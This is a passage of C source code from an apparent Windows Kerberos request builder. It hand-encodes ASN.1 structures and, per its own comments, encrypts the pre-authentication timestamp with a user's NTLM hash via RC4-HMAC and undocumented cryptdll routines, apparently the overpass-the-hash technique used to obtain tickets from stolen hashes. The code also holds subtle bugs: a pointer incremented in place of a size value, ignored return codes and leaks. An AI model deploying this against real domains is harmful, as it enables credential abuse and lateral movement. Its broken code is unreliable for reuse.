0x00) {\n\t\tINT32 Result = KerbpAsnGetEffectiveValueLenght(pElement);\n\t\tpElement->ObjectLength = Result\n\t\t\t+ KerbpGetAsnLengthLenght(Result)\n\t\t\t+ KerbpGetAsnTagLength(pElement->TagValue);\n\t}\n\treturn pElement->ObjectLength;\n}\n\n/// <summary>\n/// The lenght of the value held by the element. If constructed object will sum\n/// the lenght of all the sub-elements.\n/// </summary>\nINT32 KerbpAsnGetEffectiveValueLenght(\n\t_In_ ASN_ELEMENT* pElement\n) {\n\tif (pElement->ValueLength < 0x00) {\n\t\t// Constructed element.\n\t\tif (pElement->SubElements != 0x00) {\n\t\t\tINT32 len = 0x00;\n\t\t\tfor (DWORD cx = 0x00; cx < pElement->SubElements; cx++) {\n\t\t\t\tlen += KerbpAsnGetEffectiveEncodedLength(&(((ASN_ELEMENT*)pElement->Sub)[cx]));\n\t\t\t}\n\t\t\tpElement->ValueLength = len;\n\t\t}\n\t\t// Primitif object\n\t\telse {\n\t\t\tpElement->ValueLength = pElement->ObjectLength;\n\t\t}\n\t}\n\treturn pElement->ValueLength;\n}\n\n/// <summary>\n/// Generate valid ASN.1 primitive element\n/// </summary>\nNTSTATUS KerbpAsnMakePrimitive(\n\t_Inout_ ASN_ELEMENT* pElement,\n\t_In_    CONST INT8   TagClass,\n\t_In_    CONST INT8   TagValue,\n\t_In_    CONST PBYTE  pBuffer,\n\t_In_    CONST INT32  Offset,\n\t_In_    CONST INT32  Length\n) {\n\tif (pElement == NULL)\n\t\treturn STATUS_UNSUCCESSFUL;\n\tif (TagClass < 0 || TagClass > 3)\n\t\treturn STATUS_UNSUCCESSFUL;\n\tif (TagValue < 0)\n\t\treturn STATUS_UNSUCCESSFUL;\n\n\tRtlZeroMemory(pElement, sizeof(ASN_ELEMENT));\n\tpElement->ObjectLength = -1;\n\tpElement->ValueLength = Length;\n\tpElement->TagValue = TagValue;\n\tpElement->TagClass = TagClass;\n\n\t// Copy buffer\n\tpElement->ObjectBuffer = calloc(0x01, Length);\n\tRtlCopyMemory(pElement->ObjectBuffer, pBuffer, Length);\n\n\t// Dummy call to update the internal lenght\n\tKerbpAsnGetEffectiveEncodedLength(pElement);\n\tKerbpAsnGetEffectiveValueLenght(pElement);\n\treturn STATUS_SUCCESS;\n}\n\n/// <summary>\n/// Generate valid ASN.1 constructed element\n/// </summary>\nNTSTATUS KerbpAsnMakeConstructed(\n\t_Inout_ ASN_ELEMENT*       pElement,\n\t_In_    CONST INT8         TagClass,\n\t_In_    CONST INT8         TagValue,\n\t_In_    CONST ASN_ELEMENT* pSubElements,\n\t_In_    CONST DWORD        NumberOfSubElements\n) {\n\tif (pElement == NULL)\n\t\treturn STATUS_UNSUCCESSFUL;\n\tif (TagClass < 0 || TagClass > 3)\n\t\treturn STATUS_UNSUCCESSFUL;\n\tif (TagValue < 0)\n\t\treturn STATUS_UNSUCCESSFUL;\n\n\tRtlZeroMemory(pElement, sizeof(ASN_ELEMENT));\n\tpElement->ObjectLength = -1;\n\tpElement->ValueLength = -1;\n\tpElement->TagValue = TagValue;\n\tpElement->TagClass = TagClass;\n\n\t// Allocate memory for the sub-elements\n\tif (NumberOfSubElements != 0x00) {\n\t\tpElement->SubElements = NumberOfSubElements;\n\t\tpElement->Sub = calloc(0x01, sizeof(ASN_ELEMENT) * NumberOfSubElements);\n\t\tif (pElement->Sub == NULL)\n\t\t\treturn STATUS_UNSUCCESSFUL;\n\t\tRtlCopyMemory(pElement->Sub, pSubElements, sizeof(ASN_ELEMENT) * NumberOfSubElements);\n\t}\n\n\t// Dummy call to update the internal lenght\n\tKerbpAsnGetEffectiveEncodedLength(pElement);\n\tKerbpAsnGetEffectiveValueLenght(pElement);\n\treturn STATUS_SUCCESS;\n}\n\n/// <summary>\n/// Change tag from an object\n/// </summary>\nNTSTATUS KerbpAsnMakeImplicit(\n\t_In_  ASN_ELEMENT* pElementIn,\n\t_In_  CONST INT8   TagClass,\n\t_In_  CONST INT8   TagValue,\n\t_Out_ ASN_ELEMENT* pElementOut\n) {\n\t// Constructed\n\tif (pElementIn->SubElements != 0x00) {\n\t\tASN_ELEMENT Out = { 0x00 };\n\t\tNTSTATUS Status = STATUS_SUCCESS;\n\n\t\tStatus = KerbpAsnMakeConstructed(\n\t\t\t&Out,\n\t\t\tTagClass,\n\t\t\tTagValue,\n\t\t\t(ASN_ELEMENT*)pElementIn->Sub,\n\t\t\tpElementIn->SubElements\n\t\t);\n\t\tif (NT_SUCCESS(Status))\n\t\t\t*pElementOut = Out;\n\t\treturn Status;\n\t}\n\n\t// Primitif\n\tRtlZeroMemory(pElementOut, sizeof(ASN_ELEMENT));\n\tpElementOut->ObjectOffset = 0x00;\n\tpElementOut->ObjectLength = -1;\n\tpElementOut->TagClass = TagClass;\n\tpElementOut->TagValue = TagValue;\n\n\tpElementOut->ObjectBuffer = pElementIn->ObjectBuffer;\n\tpElementOut->ValueLength = pElementIn->ValueLength;\n\tpElementOut->ValueOffset = pElementIn->ValueOffset;\n\n\tKerbpAsnGetEffectiveEncodedLength(pElementOut);\n\tKerbpAsnGetEffectiveValueLenght(pElementOut);\n\treturn STATUS_SUCCESS;\n}\n\n/// <summary>\n/// Generate valid ASN.1 integer element.\n/// </summary>\nNTSTATUS KerbpAsnMakeInteger(\n\t_Inout_ ASN_ELEMENT* pElement,\n\t_In_    LONG         Value\n) {\n\tINT32 k = 1;\n\tINT32 l = k;\n\tPBYTE v = NULL;\n\n\tif (Value >= 0x00) {\n\t\tfor (ULONG w = (ULONG)Value; w >= 0x80; w >>= 8, k++);\n\n\t\t// Allocate memory\n\t\tv = calloc(1, k);\n\t\tl = k;\n\t\tfor (ULONG w = (ULONG)Value; k > 0x00; w >>= 8)\n\t\t\tv[--k] = (UCHAR)w;\n\t}\n\telse {\n\t\tfor (LONG w = Value; w <= -(LONG)0x80; w >>= 8, k++);\n\n\t\t// Allocate memory\n\t\tv = calloc(1, k);\n\t\tl = k;\n\t\tfor (LONG w = Value; k > 0x00; w >>= 8)\n\t\t\tv[--k] = (UCHAR)w;\n\t}\n\n\treturn KerbpAsnMakePrimitive(\n\t\tpElement,\n\t\tASN_TAG_CLASS_UNIVERSAL,\n\t\tASN_TAG_INTEGER,\n\t\tv,\n\t\t0x00,\n\t\tl\n\t);\n}\n\n/// <summary>\n/// Encode the value of an ASN.1 element\n/// </summary>\nINT32 KerbpAnsEncodeValue(\n\t_In_  ASN_ELEMENT* pElement,\n\t_In_  INT32        Start,\n\t_In_  INT32        End,\n\t_In_  INT32        RawElementOffset,\n\t_Out_ PBYTE        pRawElement\n) {\n\tINT32 Origin = RawElementOffset;\n\tif (pElement->ObjectBuffer == NULL) {\n\t\tINT32 k = 0x00;\n\t\tfor (DWORD cx = 0x00; cx < pElement->SubElements; cx++) {\n\t\t\tINT32 slen = KerbpAsnGetEffectiveEncodedLength(&(((ASN_ELEMENT*)pElement->Sub)[cx]));\n\t\t\tRawElementOffset += KerbpAsnEncode(\n\t\t\t\t&(((ASN_ELEMENT*)pElement->Sub)[cx]),\n\t\t\t\tStart - k,\n\t\t\t\tEnd - k,\n\t\t\t\tRawElementOffset,\n\t\t\t\tpRawElement\n\t\t\t);\n\t\t\tk += slen;\n\t\t}\n\t}\n\telse {\n\t\tINT32 from = max(0x00, Start);\n\t\tINT32 to = min(pElement->ValueLength, End);\n\t\tINT32 Lenght = to - from;\n\t\tif (Lenght > 0x00) {\n\t\t\tPBYTE src = pElement->ObjectBuffer + from + pElement->ValueOffset;\n\t\t\tPBYTE dst = pRawElement + RawElementOffset;\n\t\t\tRtlCopyMemory(dst, src, Lenght);\n\t\t\tRawElementOffset += Lenght;\n\t\t}\n\t}\n\treturn RawElementOffset - Origin;\n}\n\n/// <summary>\n/// Encode an ASN.1 element. Recursive.\n/// </summary>\nINT32 KerbpAsnEncode(\n\t_In_  ASN_ELEMENT* pElement,\n\t_In_  INT32        Start,\n\t_In_  INT32        End,\n\t_In_  DWORD        RawElementOffset,\n\t_Out_ PBYTE        pRawElement\n) {\n\t// Local offset\n\tint offset = 0x00;\n\n\t// Encode the tag\n\tINT32 fb = pElement->TagClass << 6;\n\tfb += (pElement->SubElements != 0x00) ? 0x20 : 0x00;\n\tif (pElement->TagValue < 0x1F) {\n\t\tfb |= pElement->TagValue & 0x1F;\n\t\tif (Start <= offset && offset < End)\n\t\t\tpRawElement[RawElementOffset++] = (UCHAR)fb;\n\t\toffset++;\n\t}\n\telse {\n\t\tfb |= 0x1F;\n\t\tif (Start <= offset && offset < End)\n\t\t\tpRawElement[RawElementOffset++] = (UCHAR)fb;\n\t\toffset++;\n\n\t\tINT32 k = 0x00;\n\t\tfor (INT32 v = pElement->TagValue; v > 0x00; v >>= 7, k += 7);\n\t\twhile (k > 0x00) {\n\t\t\tk -= 7;\n\t\t\tINT32 v = (pElement->TagValue >> k) & 0x7F;\n\t\t\tif (k != 0x00)\n\t\t\t\tv |= 0x80;\n\t\t\tif (Start <= offset && offset < End)\n\t\t\t\tpRawElement[RawElementOffset++] = (UCHAR)v;\n\t\t\toffset++;\n\t\t}\n\t}\n\n\t// Encode length\n\tINT32 vlen = pElement->ValueLength;\n\tif (vlen < 0x80) {\n\t\tif (Start <= offset && offset < End)\n\t\t\tpRawElement[RawElementOffset++] = (UCHAR)vlen;\n\t\toffset++;\n\t}\n\telse {\n\t\tINT32 k = 0x00;\n\t\tfor (INT32 v = vlen; v > 0; v >>= 8, k += 8);\n\n\t\tif (Start <= offset && offset < End)\n\t\t\tpRawElement[RawElementOffset++] = (UCHAR)(0x80 + (k >> 3));\n\t\toffset++;\n\n\t\twhile (k > 0) {\n\t\t\tk -= 8;\n\t\t\tif (Start <= offset && offset < End)\n\t\t\t\tpRawElement[RawElementOffset++] = (UCHAR)(vlen >> k);\n\t\t\toffset++;\n\t\t}\n\t}\n\n\t// Encode the data\n\toffset += KerbpAnsEncodeValue(\n\t\tpElement,\n\t\tStart - offset,\n\t\tEnd - offset,\n\t\tRawElementOffset,\n\t\tpRawElement\n\t);\n\n\t// Get the final size to return.\n\treturn max(0x00, min(offset, End) - max(0x00, Start));\n}\n\n/// <summary>\n/// Load the cryptdll module and get the KERBEROS_ECRYPT structure out of \n/// memory.\n/// </summary>\nNTSTATUS KerbpEncryptInternal(\n\t_In_  INT32            EType,\n\t_Out_ KERBEROS_ECRYPT* pECrypt\n) {\n\t// Get base address of the module\n\tHMODULE hCryptDLL = LoadLibraryA(\"cryptdll.dll\");\n\tif (hCryptDLL == NULL)\n\t\treturn STATUS_UNSUCCESSFUL;\n\n\t// Get address of the function\n\tfnCDLocateCSystem CDLocateCSystem = (fnCDLocateCSystem)GetProcAddress(hCryptDLL, \"CDLocateCSystem\");\n\tif (CDLocateCSystem == NULL)\n\t\treturn STATUS_UNSUCCESSFUL;\n\n\t// Get the structure\n\tLPVOID AddressOfStructure = NULL;\n\tINT32 Result = CDLocateCSystem(EType, &AddressOfStructure);\n\tif (AddressOfStructure == NULL)\n\t\treturn STATUS_UNSUCCESSFUL;\n\n\t// Get the structure.\n\tRtlCopyMemory(pECrypt, AddressOfStructure, sizeof(KERBEROS_ECRYPT));\n\treturn STATUS_SUCCESS;\n}\n\n/// <summary>\n/// Encrypt data \n/// </summary>\nNTSTATUS KerbpEncrypt(\n\t_In_  INT32  EType,\n\t_In_  INT32  EncReason,\n\t_In_  PBYTE  Key,\n\t_In_  DWORD  KeyLength,\n\t_In_  PBYTE  BufferIn,\n\t_In_  DWORD  BufferInSize,\n\t_Out_ PBYTE* BufferOut,\n\t_Out_ DWORD* BufferOutSize\n) {\n\t// Load the module to get the address of the structure containing\n\t// encryption functions\n\tNTSTATUS Status = STATUS_SUCCESS;\n\tKERBEROS_ECRYPT ECrypt = { 0x00 };\n\tStatus = KerbpEncryptInternal(EType, &ECrypt);\n\tif (!NT_SUCCESS(Status) || ECrypt.Initialize == NULL)\n\t\treturn Status;\n\n\t// Initialise\n\tLPVOID Context = NULL;\n\tINT32 Result = ((fnInitialize)ECrypt.Initialize)(\n\t\tKey,\n\t\tKeyLength,\n\t\tEncReason,\n\t\t&Context\n\t);\n\tif (Result != 0x00 || Context == NULL)\n\t\treturn STATUS_UNSUCCESSFUL;\n\n\t// Get the output size \n\t*BufferOutSize = BufferInSize;\n\twhile ((*BufferOutSize % ECrypt.BlockSize) != 0x00)\n\t\t*BufferOutSize++;\n\t*BufferOutSize += ECrypt.Size;\n\n\t// Allocate memory \n\t*BufferOut = calloc(0x01, *BufferOutSize);\n\tif (*BufferOut == NULL) {\n\t\t((fnFinish)ECrypt.Finish)(Context);\n\t\treturn STATUS_UNSUCCESSFUL;\n\t}\n\n\t// Encrypt the data\n\tResult = ((fnEncrypt)ECrypt.Encrypt)(\n\t\tContext,\n\t\tBufferIn,\n\t\tBufferInSize,\n\t\t*BufferOut,\n\t\tBufferOutSize\n\t);\n\n\treturn STATUS_SUCCESS;\n}\n\n/// <summary>\n/// Generate ASN.1 element for system timestamp.\n/// </summary>\nNTSTATUS KerbpGenerateTimestamp(\n\t_In_  INT32        TagClassValue,\n\t_Out_ ASN_ELEMENT* Timestamp\n) {\n\t// Get the system time\n\tSYSTEMTIME SystemTime = { 0x00 };\n\tGetSystemTime(&SystemTime);\n\tif (TagClassValue == 0x05)\n\t\tSystemTime.wYear++;\n\n\t// Convert system time in a formated string\n\tCHAR* szSystemTime = calloc(0x01, sizeof(SYSTEMTIME) + 2);\n\tif (szSystemTime == NULL)\n\t\treturn STATUS_UNSUCCESSFUL;\n\n\t// Format the system time stamp\n\tNTSTATUS Status = STATUS_SUCCESS;\n\tStatus = KerbpFormatTimestamp(\n\t\t&szSystemTime,\n\t\tsizeof(SYSTEMTIME) + 2,\n\t\t\"%ld%02ld%02ld%02ld%02ld%02ldZ\",\n\t\tSystemTime.wYear,\n\t\tSystemTime.wMonth,\n\t\tSystemTime.wDay,\n\t\tSystemTime.wHour,\n\t\tSystemTime.wMinute,\n\t\tSystemTime.wSecond\n\t);\n\n\t// Make a primitive element for the timestamp\n\tASN_ELEMENT Temp1 = { 0x00 };\n\tStatus = KerbpAsnMakePrimitive(\n\t\t&Temp1,\n\t\tASN_TAG_CLASS_UNIVERSAL,\n\t\tASN_TAG_GENERALIZED_TIME,\n\t\tszSystemTime,\n\t\t0x00,\n\t\t0x0F\n\t);\n\tfree(szSystemTime);\n\n\t// Make a constructed element with a list of sub-elements\n\tASN_ELEMENT Temp2 = { 0x00 };\n\tASN_ELEMENT Temp3 = { 0x00 };\n\tStatus = KerbpAsnMakeConstructed(\n\t\t&Temp2,\n\t\tASN_TAG_CLASS_UNIVERSAL,\n\t\tASN_TAG_SEQUENCE,\n\t\t&Temp1,\n\t\t1\n\t);\n\tStatus = KerbpAsnMakeImplicit(\n\t\t&Temp2,\n\t\tASN_TAG_CLASS_CONTEXT_SPECIFIC,\n\t\tTagClassValue,\n\t\t&Temp3\n\t);\n\n\t// Encode till\n\tif (TagClassValue == 0x05) {\n\t\t*Timestamp = Temp3;\n\t\treturn STATUS_SUCCESS;\n\t}\n\n\t// Create the final constructed element with the previous data\n\tStatus = KerbpAsnMakeConstructed(\n\t\tTimestamp,\n\t\tASN_TAG_CLASS_UNIVERSAL,\n\t\tASN_TAG_SEQUENCE,\n\t\t&Temp3,\n\t\t1\n\t);\n\n\treturn STATUS_SUCCESS;\n}\n\n/// <summary>\n/// Encrypt the timestamp with user NTLM hash.\n/// </summary>\nNTSTATUS KerbpEncryptTimestamp(\n\t_In_  LPBYTE          Key,\n\t_In_  DWORD           KeySize,\n\t_In_  ASN_ELEMENT*    Timestamp,\n\t_Out_ ENCRYPTED_DATA* EncryptedData,\n\t_Out_ DWORD*          EncryptedDataSize\n) {\n\tNTSTATUS Status = STATUS_SUCCESS;\n\n\t// Encode the timestamp\n\tPBYTE RawTimestamp = calloc(0x01, Timestamp->ObjectLength + 0x10);\n\tINT32 RawTimestampSize = KerbpAsnEncode(\n\t\tTimestamp,\n\t\t0x00,\n\t\tTimestamp->ObjectLength + 0x10,\n\t\t0x00,\n\t\tRawTimestamp\n\t);\n\tif (Timestamp->Sub)\n\t\tfree(Timestamp->Sub);\n\n\t// Encrypt the data\n\tStatus = KerbpEncrypt(\n\t\tEncryptedData->EType,\n\t\tKERBEROS_KEY_USAGE_AS_REQ_PA_ENC_TIMESTAMP,\n\t\tKey,\n\t\tKeySize,\n\t\tRawTimestamp,\n\t\tRawTimestampSize,\n\t\t&EncryptedData->cipher,\n\t\tEncryptedDataSize\n\t);\n\tif (!NT_SUCCESS(Status)) {\n\t\tif (EncryptedData->cipher != NULL)\n\t\t\tfree(EncryptedData->cipher);\n\t\treturn STATUS_UNSUCCESSFUL;\n\t}\n\n\t// Cleanup and exit\n\tfree(RawTimestamp);\n\treturn Status;\n}\n\n/// <summary>\n/// Encode ASN.1 encrypted-data element.\n/// </summary>\nNTSTATUS KerbpEncodeEncryptedData(\n\t_In_  ENCRYPTED_DATA* EncryptedData,\n\t_In_  DWORD           EncryptedDataSize,\n\t_Out_ PBYTE*          RawData,\n\t_Out_ DWORD*          RawDataSize\n) {\n\tNTSTATUS Status = STATUS_SUCCESS;\n\t\n\tASN_ELEMENT Temp1 = { 0x00 };\n\tASN_ELEMENT Temp2 = { 0x00 };\n\tASN_ELEMENT Temp3 = { 0x00 };\n\n\t// etype\n\tASN_ELEMENT EType = { 0x00 };\n\tStatus = KerbpAsnMakeInteger(&Temp1, EncryptedData->EType);\n\tStatus = KerbpAsnMakeConstructed(\n\t\t&Temp2,\n\t\tASN_TAG_CLASS_UNIVERSAL,\n\t\tASN_TAG_SEQUENCE,\n\t\t&Temp1,\n\t\t0x01\n\t);\n\tStatus = KerbpAsnMakeImplicit(\n\t\t&Temp2,\n\t\tASN_TAG_CLASS_CONTEXT_SPECIFIC,\n\t\t0x00,\n\t\t&EType\n\t);\n\n\t// Reset\n\tRtlZeroMemory(&Temp1, sizeof(ASN_ELEMENT));\n\tRtlZeroMemory(&Temp2, sizeof(ASN_ELEMENT));\n\n\t// Encode all the data\n\tASN_ELEMENT Cipher = { 0x00 };\n\tStatus = KerbpAsnMakePrimitive(\n\t\t&Temp1,\n\t\tASN_TAG_CLASS_UNIVERSAL,\n\t\tASN_TAG_OCTET_STRING,\n\t\tEncryptedData->cipher,\n\t\t0x00,\n\t\tEncryptedDataSize\n\t);\n\tStatus = KerbpAsnMakeConstructed(\n\t\t&Temp2,\n\t\tASN_TAG_CLASS_UNIVERSAL,\n\t\tASN_TAG_SEQUENCE,\n\t\t&Temp1,\n\t\t0x01\n\t);\n\tStatus = KerbpAsnMakeImplicit(\n\t\t&Temp2,\n\t\tASN_TAG_CLASS_CONTEXT_SPECIFIC,\n\t\t0x02,\n\t\t&Cipher\n\t);\n\n\t// Get sequence\n\tASN_ELEMENT Elements[0x02] = { EType, Cipher };\n\tStatus = KerbpAsnMakeConstructed(\n\t\t&Temp3,\n\t\tASN_TAG_CLASS_UNIVERSAL,\n\t\tASN_TAG_SEQUENCE,\n\t\tElements,\n\t\t0x02\n\t);\n\n\t// Encode the sequence\n\t*RawData = calloc(0x01, Temp3.ObjectLength + 0x10);\n\t*RawDataSize = KerbpAsnEncode(\n\t\t&Temp3,\n\t\t0x00,\n\t\tTemp3.ObjectLength + 0x10,\n\t\t0x00,\n\t\t*RawData\n\t);\n\tif (Temp3.Sub)\n\t\tfree(Temp3.Sub);\n\treturn STATUS_SUCCESS;\n}\n\n/// <summary>\n/// Generate kdc-options ASN.1 element.\n/// </summary>\nNTSTATUS KerbpGenerateKdcOptions(\n\t_In_  ULONG        Options,\n\t_Out_ ASN_ELEMENT* pElement\n) {\n\tNTSTATUS Status = STATUS_SUCCESS;\n\n\t// Convert the options to little endian\n\tUCHAR Bytes[0x05] = { 0x00 };\n\tBytes[0x01] = XLATE_UINT32(Options, 0x00);\n\tBytes[0x02] = XLATE_UINT32(Options, 0x01);\n\tBytes[0x03] = XLATE_UINT32(Options, 0x02);\n\tBytes[0x04] = XLATE_UINT32(Options, 0x03);\n\n\t// Temporary elements\n\tASN_ELEMENT Temp1 = { 0x00 };\n\tASN_ELEMENT Temp2 = { 0x00 };\n\n\t// Get the sequence\n\tStatus = KerbpAsnMakePrimitive(\n\t\t&Temp1,\n\t\tASN_TAG_CLASS_UNIVERSAL,\n\t\tASN_TAG_BIT_STRING,\n\t\tBytes,\n\t\t0x00,\n\t\t0x05\n\t);\n\tStatus = KerbpAsnMakeConstructed(\n\t\t&Temp2,\n\t\tASN_TAG_CLASS_UNIVERSAL,\n\t\tASN_TAG_SEQUENCE,\n\t\t&Temp1,\n\t\t0x01\n\t);\n\tStatus = KerbpAsnMakeImplicit(\n\t\t&Temp2,\n\t\tASN_TAG_CLASS_CONTEXT_SPECIFIC,\n\t\t0x00,\n\t\tpElement\n\t);\n\n\treturn Status;\n}\n\n/// <summary>\n/// Generate cname ASN.1 element.\n/// </summary>\nNTSTATUS KerbpGeneratePrincipalName(\n\t_In_  PCSTR        Principal,\n\t_In_  INT32        PrincipalSize,\n\t_In_  INT32        Type,\n\t//_In_  INT32        FinalClassValue,\n\t_Out_ ASN_ELEMENT* pElement\n) {\n\tNTSTATUS Status = STATUS_SUCCESS;\n\n\t// Temporary elements\n\tASN_ELEMENT Temp1 = { 0x00 };\n\tASN_ELEMENT Temp2 = { 0x00 };\n\tASN_ELEMENT Temp3 = { 0x00 };\n\tASN_ELEMENT Temp4 = { 0x00 };\n\t\n\t// name-type\n\tASN_ELEMENT NameType = { 0x0 };\n\tStatus = KerbpAsnMakeInteger(&Temp1, Type);\n\tStatus = KerbpAsnMakeConstructed(\n\t\t&Temp2,\n\t\tASN_TAG_CLASS_UNIVERSAL,\n\t\tASN_TAG_SEQUENCE,\n\t\t&Temp1,\n\t\t0x01\n\t);\n\tStatus = KerbpAsnMakeImplicit(\n\t\t&Temp2,\n\t\tASN_TAG_CLASS_CONTEXT_SPECIFIC,\n\t\t0x00,\n\t\t&NameType\n\t);\n\n\t// Reset\n\tRtlZeroMemory(&Temp1, sizeof(ASN_ELEMENT));\n\tRtlZeroMemory(&Temp2, sizeof(ASN_ELEMENT));\n\n\t// name-string\n\tif (Type != KERBEROS_PRINCIPAL_TYPE_NT_PRINCIPAL) {\n\t\t// We are generating sname\n\t\tPBYTE Encodekrbtgt = NULL;\n\t\tINT32 EncodekrbtgtSize = 0x00;\n\t\tStatus = KerbpEncodeUTF8(\n\t\t\t\"krbtgt\",\n\t\t\tstrlen(\"krbtgt\"),\n\t\t\t&Encodekrbtgt,\n\t\t\t&EncodekrbtgtSize\n\t\t);\n\t\tStatus = KerbpAsnMakePrimitive(\n\t\t\t&Temp1,\n\t\t\tASN_TAG_CLASS_UNIVERSAL,\n\t\t\tASN_TAG_UTF8STRING,\n\t\t\tEncodekrbtgt,\n\t\t\t0x00,\n\t\t\tEncodekrbtgtSize\n\t\t);\n\t\tStatus = KerbpAsnMakeImplicit(\n\t\t\t&Temp1,\n\t\t\tASN_TAG_CLASS_UNIVERSAL,\n\t\t\tASN_TAG_GENERAL_STRING,\n\t\t\t&Temp3\n\t\t);\n\n\t\tRtlZeroMemory(&Temp1, sizeof(ASN_ELEMENT));\n\t}\n\n\tPBYTE EncodeSecurityPrincipal = NULL;\n\tINT32 EncodeSecurityPrincipalSize = 0x00;\n\tStatus = KerbpEncodeUTF8(\n\t\tPrincipal,\n\t\tPrincipalSize,\n\t\t&EncodeSecurityPrincipal,\n\t\t&EncodeSecurityPrincipalSize\n\t);\n\tStatus = KerbpAsnMakePrimitive(\n\t\t&Temp1,\n\t\tASN_TAG_CLASS_UNIVERSAL,\n\t\tASN_TAG_UTF8STRING,\n\t\tEncodeSecurityPrincipal,\n\t\t0x00,\n\t\tEncodeSecurityPrincipalSize\n\t);\n\tStatus = KerbpAsnMakeImplicit(\n\t\t&Temp1,\n\t\tASN_TAG_CLASS_UNIVERSAL,\n\t\tASN_TAG_GENERAL_STRING,\n\t\t&Temp2\n\t);\n\n\t// Reset\n\tRtlZeroMemory(&Temp1, sizeof(ASN_ELEMENT));\n\n\t// name-string sequence\n\tASN_ELEMENT Strings[0x02] = { 0x00 };\n\tif (Type != KERBEROS_PRINCIPAL_TYPE_NT_PRINCIPAL) {\n\t\tStrings[0x00] = Temp3;\n\t\tStrings[0x01] = Temp2;\n\t}\n\telse {\n\t\tStrings[0x00] = Temp2;\n\t}\n\n\tStatus = KerbpAsnMakeConstructed(\n\t\t&Temp1,\n\t\tASN_TAG_CLASS_UNIVERSAL,\n\t\tASN_TAG_SEQUENCE,\n\t\tStrings,\n\t\t(Type != KERBEROS_PRINCIPAL_TYPE_NT_PRINCIPAL) ? 0x02 : 0x01\n\t);\n\tStatus = KerbpAsnMakeConstructed(\n\t\t&Temp4,\n\t\tASN_TAG_CLASS_UNIVERSAL,\n\t\tASN_TAG_SEQUENCE,\n\t\t&Temp1,\n\t\t0x01\n\t);\n\t\n\tASN_ELEMENT NameString = { 0x00 };\n\tStatus = KerbpAsnMakeImplicit(\n\t\t&Temp4,\n\t\tASN_TAG_CLASS_CONTEXT_SPECIFIC,\n\t\t0x01,\n\t\t&NameString\n\t);\n\n\t// Reset\n\tRtlZeroMemory(&Temp1, sizeof(ASN_ELEMENT));\n\tRtlZeroMemory(&Temp2, sizeof(ASN_ELEMENT));\n\tRtlZeroMemory(&Temp3, sizeof(ASN_ELEMENT));\n\tRtlZeroMemory(&Temp4, sizeof(ASN_ELEMENT));\n\n\t// Final Sequence\n\tASN_ELEMENT Elements[0x02] = { NameType, NameString };\n\tStatus = KerbpAsnMakeConstructed(\n\t\t&Temp1,\n\t\tASN_TAG_CLASS_UNIVERSAL,\n\t\tASN_TAG_SEQUENCE,\n\t\tElements,\n\t\t0x02\n\t);\n\tStatus = KerbpAsnMakeConstructed(\n\t\t&Temp2,\n\t\tASN_TAG_CLASS_UNIVERSAL,\n\t\tASN_TAG_SEQUENCE,\n\t\t&Temp1,\n\t\t0x01\n\t);\n\treturn KerbpAsnMakeImplicit(\n\t\t&Temp2,\n\t\tASN_TAG_CLASS_CONTEXT_SPECIFIC,\n\t\t(Type != KERBEROS_PRINCIPAL_TYPE_NT_PRINCIPAL) ? 0x03 : 0x01,\n\t\tpElement\n\t);\n}\n\n/// <summary>\n/// Generate realm ASN.1 element.\n/// </summary>\nNTSTATUS KerbpGenerateRealm(\n\t_In_  PCSTR        Realm,\n\t_In_  INT32        RealmSize,\n\t_Out_ ASN_ELEMENT* pElement\n) {\n\tNTSTATUS Status = STATUS_SUCCESS;\n\n\t// Temporary elements\n\tASN_ELEMENT Temp1 = { 0x00 };\n\tASN_ELEMENT Temp2 = { 0x00 };\n\tASN_ELEMENT Temp3 = { 0x00 };\n\n\tStatus = KerbpAsnMakePrimitive(\n\t\t&Temp1,\n\t\tASN_TAG_CLASS_UNIVERSAL,\n\t\tASN_TAG_IA5_STRING,\n\t\tRealm,\n\t\t0x00,\n\t\tRealmSize\n\t);\n\tStatus = KerbpAsnMakeImplicit(\n\t\t&Temp1,\n\t\tASN_TAG_CLASS_UNIVERSAL,\n\t\tASN_TAG_GENERAL_STRING,\n\t\t&Temp2\n\t);\n\tStatus = KerbpAsnMakeConstructed(\n\t\t&Temp3,\n\t\tASN_TAG_CLASS_UNIVERSAL,\n\t\tASN_TAG_SEQUENCE,\n\t\t&Temp2,\n\t\t0x01\n\t);\n\treturn KerbpAsnMakeImplicit(\n\t\t&Temp3,\n\t\tASN_TAG_CLASS_CONTEXT_SPECIFIC,\n\t\t0x02,\n\t\tpElement\n\t);\n}\n\n/// <summary>\n/// Generate nonce ASN.1 element.\n/// </summary>\nNTSTATUS KerbpGenerateNonce(\n\t_Out_ ASN_ELEMENT* pElement\n) {\n\tNTSTATUS Status = STATUS_SUCCESS;\n\n\t// Temporary elements\n\tASN_ELEMENT Temp1 = { 0x00 };\n\tASN_ELEMENT Temp2 = { 0x00 };\n\tINT32 Random = (INT32)__rdtsc();\n\n\tStatus = KerbpAsnMakeInteger(&Temp1, Random);\n\tStatus = KerbpAsnMakeConstructed(\n\t\t&Temp2,\n\t\tASN_TAG_CLASS_UNIVERSAL,\n\t\tASN_TAG_SEQUENCE,\n\t\t&Temp1,\n\t\t0x01\n\t);\n\treturn KerbpAsnMakeImplicit(\n\t\t&Temp2,\n\t\tASN_TAG_CLASS_CONTEXT_SPECIFIC,\n\t\t0x07,\n\t\tpElement\n\t);\n}\n\n/// <summary>\n/// Generate etype ASN.1 element.\n/// </summary>\nNTSTATUS KerbpGenerateEtype(\n\t_Out_ ASN_ELEMENT* pElement\n) {\n\tNTSTATUS Status = STATUS_SUCCESS;\n\n\t// Temporary elements\n\tASN_ELEMENT Temp1 = { 0x00 };\n\tASN_ELEMENT Temp2 = { 0x00 };\n\n\tStatus = KerbpAsnMakeInteger(&Temp1, KERBEROS_ETYPE_RC4_HMAC);\n\tStatus = KerbpAsnMakeConstructed(\n\t\t&Temp2,\n\t\tASN_TAG_CLASS_UNIVERSAL,\n\t\tASN_TAG_SEQUENCE,\n\t\t&Temp1,\n\t\t0x01\n\t);\n\n\t// Reset \n\tRtlZeroMemory(&Temp1, sizeof(ASN_ELEMENT));\n\tStatus = KerbpAsnMakeConstructed(\n\t\t&Temp1,\n\t\tASN_TAG_CLASS_UNIVERSAL,\n\t\tASN_TAG_SEQUENCE,\n\t\t&Temp2,\n\t\t0x01\n\t);\n\n\t// Final sequence\n\treturn KerbpAsnMakeImplicit(\n\t\t&Temp1,\n\t\tASN_TAG_CLASS_CONTEXT_SPECIFIC,\n\t\t0x08,\n\t\tpElement\n\t);\n}\n\n/// <summary>\n/// Generate ASN.1 elements for pvno and msg-type\n/// </summary>\nNTSTATUS KerbGeneratePvnoAndType(\n\t_Out_ 